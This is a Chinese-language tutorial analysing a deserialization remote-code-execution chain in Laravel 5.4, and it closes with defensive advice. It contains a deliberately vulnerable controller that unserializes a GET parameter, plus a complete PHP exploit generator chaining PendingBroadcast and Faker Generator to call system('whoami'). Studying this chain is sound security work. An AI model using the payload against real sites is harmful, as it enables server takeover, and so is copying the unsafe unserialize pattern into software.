laravel-5.4-序列化导致rce
字数 1938 2025-08-06 08:35:22
Laravel 5.4 反序列化漏洞分析与利用
漏洞概述
本文详细分析 Laravel 5.4 框架中存在的反序列化漏洞,该漏洞允许攻击者通过精心构造的序列化数据实现远程代码执行(RCE)。漏洞利用链较短,理解起来相对简单,适合初学者学习反序列化漏洞的原理和利用方法。
环境搭建
-
下载 Laravel 5.4:
- 官方安装包下载地址获取 Laravel 5.4
- 使用 PHPStudy 等工具快速搭建环境
-
基本环境要求:
- PHP 版本需兼容 Laravel 5.4
- 确保已安装必要的 PHP 扩展
漏洞分析
反序列化入口点
在 PHP 中,反序列化漏洞通常从以下魔术方法开始寻找:
__wakeup():在使用unserialize()时触发__destruct():在对象被销毁时触发
关键类分析
-
PendingBroadcast类:- 位于
Illuminate\Broadcasting\PendingBroadcast - 包含两个可控属性:
protected $eventsprotected $event
- 其
__destruct()方法会调用$this->events->dispatch($this->event)
- 位于
-
利用思路:
- 控制
$this->events为特定对象 - 控制
$this->event作为参数 - 有两种利用方式:
- 寻找具有
dispatch方法的类 - 寻找具有
__call魔术方法且没有dispatch方法的类
- 寻找具有
- 控制
-
Generator类:- 位于
Faker\Generator - 当调用不存在的方法时会触发
__call魔术方法 __call方法会调用format()方法format()方法中使用call_user_func_array($this->getFormatter($formatter), $arguments)getFormatter()方法返回$this->formatters[$formatter],这个值可控
- 位于
漏洞利用链
-
构造
PendingBroadcast对象:$events设置为Generator对象$event设置为要执行的命令
-
构造
Generator对象:$formatters数组设置'dispatch'键为要执行的函数名(如system)
-
调用流程:
- 反序列化触发
PendingBroadcast的__destruct - 调用
$events->dispatch($event),其中$events是Generator对象 - 由于
Generator没有dispatch方法,触发__call __call调用format()方法format()调用call_user_func_array执行我们控制的函数和参数
- 反序列化触发
漏洞验证
-
创建测试路由:
在/routes/web.php中添加:Route::get("/", "\App\Http\Controllers\DemoController@demo"); -
创建控制器:
在/app/Http/Controllers/下创建DemoController.php:<?php namespace App\Http\Controllers; use Illuminate\Http\Request; class DemoController extends Controller { public function demo() { if (isset($_GET['c'])) { $code = $_GET['c']; unserialize($code); } else { highlight_file(__FILE__); } return "Welcome to laravel5.4"; } } -
EXP 构造:
<?php namespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; function __construct($events, $cmd) { $this->events = $events; $this->event = $cmd; } } } namespace Faker { class Generator { protected $formatters; function __construct($function) { $this->formatters = ['dispatch' => $function]; } } } namespace { $a = new Faker\Generator('system'); $b = new Illuminate\Broadcasting\PendingBroadcast($a, 'whoami'); echo urlencode(serialize($b)); } -
利用方式:
- 访问
http://target/?c=[生成的payload] - 系统将执行
whoami命令
- 访问
调用栈分析
PendingBroadcast::__destruct()Generator::__call('dispatch', $arguments)Generator::format('dispatch', $arguments)call_user_func_array($this->getFormatter('dispatch'), $arguments)- 执行
system('whoami')
防御措施
- 升级 Laravel 框架:使用最新版本的 Laravel
- 避免反序列化用户输入:不要直接反序列化用户提供的输入
- 使用白名单机制:如果必须反序列化,限制可反序列化的类
- 使用签名验证:确保序列化数据的完整性和来源可信
总结
Laravel 5.4 的反序列化漏洞利用链较短,主要涉及:
PendingBroadcast类的__destruct方法Generator类的__call魔术方法- 通过
call_user_func_array实现任意函数调用
这个漏洞是理解 PHP 反序列化漏洞的典型案例,适合初学者学习反序列化漏洞的基本原理和利用方法。